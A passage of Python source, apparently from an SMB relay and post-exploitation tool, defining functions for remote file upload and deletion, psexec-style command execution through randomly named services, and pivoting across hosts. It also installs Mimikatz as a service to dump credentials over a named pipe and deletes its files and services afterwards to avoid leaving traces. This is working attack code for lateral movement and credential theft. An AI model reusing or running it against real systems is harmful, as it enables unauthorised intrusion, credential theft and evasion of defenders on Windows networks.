print("[+] Get file failed. Remote filename was typed correctly?")
|
|
return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong.
|
|
|
|
##########UploadAFile#############
|
|
def WriteFile(data, s, File, FileSize, FileContent, Host):
|
|
try:
|
|
File = File.replace("/","\\")
|
|
data,s,f = SMBOpenFileForWriting(File, FileSize, FileContent, "C", Host, RW, data, s)
|
|
data,s = UploadAndWrite(f, FileSize, FileContent, data, s)
|
|
return ModifySMBRetCode(data) ##Command was successful, ret true.
|
|
|
|
except:
|
|
print("[+] Write failed.")
|
|
return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong.
|
|
|
|
##########DeleteAFile############
|
|
def DeleteFile(data, s, File, Host):
|
|
try:
|
|
File = File.replace("/","\\")
|
|
data,s = DeleteAFile(File, data, s, Host)
|
|
data,s = CloseTID(data, s)
|
|
return ModifySMBRetCode(data) ##Command was successful, ret true.
|
|
except:
|
|
print("[+] Delete operation failed.\n[+] Something went wrong.")
|
|
data,s = CloseTID(data, s)
|
|
return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong.
|
|
|
|
##########Psexec#############
|
|
def RunCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, RunPath, FileName):
|
|
|
|
try:
|
|
RandomFName = GenerateRandomFileName()
|
|
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
|
|
LogFile = "\\Windows\\Temp\\"+RandomFName+".txt"
|
|
Command = RunPath+" \""+Command+"\" \""+WinTmpPath+"\""
|
|
ServiceNameChars = GenerateServiceName()
|
|
ServiceIDChars = GenerateServiceID()
|
|
|
|
data,s = SMBOpenPipe(Host, data, s)
|
|
data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s)
|
|
data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s)
|
|
data,s = CloseFID(f, data,s)
|
|
time.sleep(1)
|
|
data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s)
|
|
data,s,Output = ReadAndDelete(f, LogFile, data, s)
|
|
print(Output)
|
|
data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host)
|
|
|
|
Logs.warning('Command executed:')
|
|
Logs.warning(clientIP+","+Username+','+Command)
|
|
|
|
return data
|
|
|
|
except:
|
|
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
|
print("[+] Something went wrong, try something else.")
|
|
return ModifySMBRetCode(data)
|
|
|
|
##########Runas#############
|
|
def RunAsCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName):
|
|
|
|
try:
|
|
Command = Command.replace('"', '\'')
|
|
RandomFName = GenerateRandomFileName()
|
|
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
|
|
LogFile = "\\Windows\\Temp\\"+RandomFName+".txt"
|
|
Command = "%windir%\\Temp\\"+FileName+" \""+Command+"\" \""+WinTmpPath+"\""
|
|
ServiceNameChars = GenerateServiceName()
|
|
ServiceIDChars = GenerateServiceID()
|
|
|
|
data,s = SMBOpenPipe(Host, data, s)
|
|
data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s)
|
|
data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s)
|
|
data,s = CloseFID(f, data,s)
|
|
time.sleep(1)
|
|
data,s,f = SMBOpenFile( LogFile, "C", Host, RW, data, s)
|
|
data,s,Output = ReadAndDelete(f, LogFile, data, s)
|
|
print(Output)
|
|
data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host)
|
|
|
|
Logs.info('Command executed:')
|
|
Logs.info(clientIP+","+Username+','+Command)
|
|
return data
|
|
|
|
except:
|
|
data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host)
|
|
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
|
print("[+] Something went wrong, try something else.")
|
|
return ModifySMBRetCode(data)
|
|
|
|
##########MimiKatz RPC#############
|
|
def InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName):
|
|
global MimiKatzSVCID
|
|
global MimiKatzSVCName
|
|
try:
|
|
if isinstance(data, str):
|
|
data = data.encode('latin-1')
|
|
DisplayGUID, DisplayGUIDle = Generateuuid()
|
|
NamedPipe = GenerateNamedPipeName()
|
|
RandomFName = GenerateRandomFileName()
|
|
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
|
|
#Install mimikatz as a service.
|
|
Command = "c:\\Windows\\Temp\\"+FileName+" \"rpc::server /protseq:ncacn_np /endpoint:\pipe\\"+NamedPipe+" /guid:{"+DisplayGUID+"} /noreg\" service::me exit"
|
|
MimiKatzSVCName = GenerateServiceName()
|
|
MimiKatzSVCID = GenerateServiceID()
|
|
data,s = SMBOpenPipe(Host, data, s)
|
|
data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s)
|
|
data,s,f = CreateMimikatzService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s)
|
|
data,s = CloseFID(f, data,s)
|
|
|
|
Logs.info('Command executed:')
|
|
Logs.info(clientIP+","+Username+','+Command)
|
|
|
|
return data, DisplayGUIDle, NamedPipe
|
|
|
|
except:
|
|
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
|
print("[+] Something went wrong, try something else.")
|
|
return ModifySMBRetCode(data)
|
|
|
|
def RunMimiCmd(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName):
|
|
try:
|
|
data,guid,namedpipe = InstallMimiKatz(data, s, clientIP, Username, Domain, Command, Logs, Host, FileName)
|
|
data,s = SMBOpenPipe(Host, data, s)
|
|
##Wait for the pipe to come up..
|
|
time.sleep(1)
|
|
|
|
data,s,f = BindCall(guid, "\x01\x00", "\\"+namedpipe, data, s)
|
|
data,s,f = MimiKatzRPC(Command, f, Host, data, s)
|
|
data,s = SMBDCERPCCloseFID(f, data,s)
|
|
#####
|
|
#Kill the SVC now... Never know when the user will leave, so lets not leave anything on the target.
|
|
data,s = SMBOpenPipe(Host, data, s)
|
|
data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s)
|
|
data,s,f = StopAndDeleteService(Command, MimiKatzSVCName, MimiKatzSVCID, f, Host, data, s)
|
|
data,s = CloseFID(f, data,s)
|
|
#Short sleep, to make sure the service had the time needed to stop before deleting mimikatz
|
|
time.sleep(0.5)
|
|
data = DeleteFile(data, s, "\\Windows\\Temp\\"+FileName, Host)
|
|
|
|
Logs.info('Command executed:')
|
|
Logs.info(clientIP+","+Username+','+Command)
|
|
|
|
return ModifySMBRetCode(data)
|
|
except:
|
|
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
|
print("[+] Something went wrong while calling mimikatz. Maybe it's a 32bits system? Try mimi32.")
|
|
return ModifySMBRetCode(data)
|
|
|
|
##########Pivot#############
|
|
def PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Host, RunAsPath, RunAsFileName):
|
|
|
|
try:
|
|
LocalIp = FindLocalIp()
|
|
WinTmpPath = "%windir%\\Temp\\log.txt"
|
|
Command = RunAsPath+" \"dir \\\\"+LocalIp+"\\C$\" \""+WinTmpPath+"\""
|
|
ServiceNameChars = GenerateServiceName()
|
|
ServiceIDChars = GenerateServiceID()
|
|
data,s = SMBOpenPipe(Host, data, s)
|
|
data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s)
|
|
data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s)
|
|
data,s = CloseFID(f, data,s)
|
|
|
|
## We're leaving this host, clean it up..
|
|
data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host)
|
|
Logs.info('Command executed:')
|
|
Logs.info(clientIP+","+Username+','+Command)
|
|
return data
|
|
|
|
except:
|
|
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
|
print("[+] Something went wrong, try something else.")
|
|
return ModifySMBRetCode(data)
|
|
|
|
##########VerifyPivot#############
|
|
def VerifyPivot(data, s, clientIP, Username, Domain, Pivot, Logs, Host, RunAsPath, RunAsFileName):
|
|
|
|
try:
|
|
RandomFName = GenerateRandomFileName()
|
|
ServiceNameChars = GenerateServiceName()
|
|
ServiceIDChars = GenerateServiceID()
|
|
WinTmpPath = "%windir%\\Temp\\"+RandomFName+".txt"
|
|
LogFile = "\\Windows\\Temp\\"+RandomFName+".txt"
|
|
Command = RunAsPath+" \"dir \\\\"+Pivot+"\\C$\" \""+WinTmpPath+"\""
|
|
|
|
data,s = SMBOpenPipe(Host, data, s)
|
|
data,s,f = BindCall("\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03", "\x02\x00", "\\svcctl", data, s)
|
|
data,s,f = CreateService(Command, ServiceNameChars, ServiceIDChars, f, Host, data, s)
|
|
data,s = CloseFID(f, data,s)
|
|
time.sleep(1)
|
|
data,s,f = SMBOpenFile(LogFile, "C", Host, RW, data, s)
|
|
data,s,Output = ReadAndDelete(f, LogFile, data, s)
|
|
data = DeleteFile(data, s, "\\Windows\\Temp\\"+RunAsFileName, Host)
|
|
|
|
Logs.info('Command executed:')
|
|
Logs.info(clientIP+","+Username+','+Command)
|
|
|
|
if re.findall('Volume in drive', Output):
|
|
return True, data
|
|
else:
|
|
return False, data
|
|
|
|
except:
|
|
#Don't loose this connection because something went wrong, it's a good one. Commands might fail, while hashdump works.
|
|
print("[+] Something went wrong, try something else.")
|
|
return ModifySMBRetCode(data)
|
|
|
|
##########DoSomethingDumb#############
|
|
def DumbSMBChain(data, s, Host):
|
|
try:
|
|
File = "/Windows/win.ini"
|
|
File = File.replace("/","\\")
|
|
data,s,f = SMBOpenFile(File, "C", Host, READ, data, s)
|
|
data,s,Output = GrabAndRead(f, File, data, s)
|
|
data, s = CloseTID(data, s)
|
|
return ModifySMBRetCode(data) ##Command was successful, ret true.
|
|
|
|
except:
|
|
return ModifySMBRetCode(data) ##Don't ditch the connection because something went wrong.
|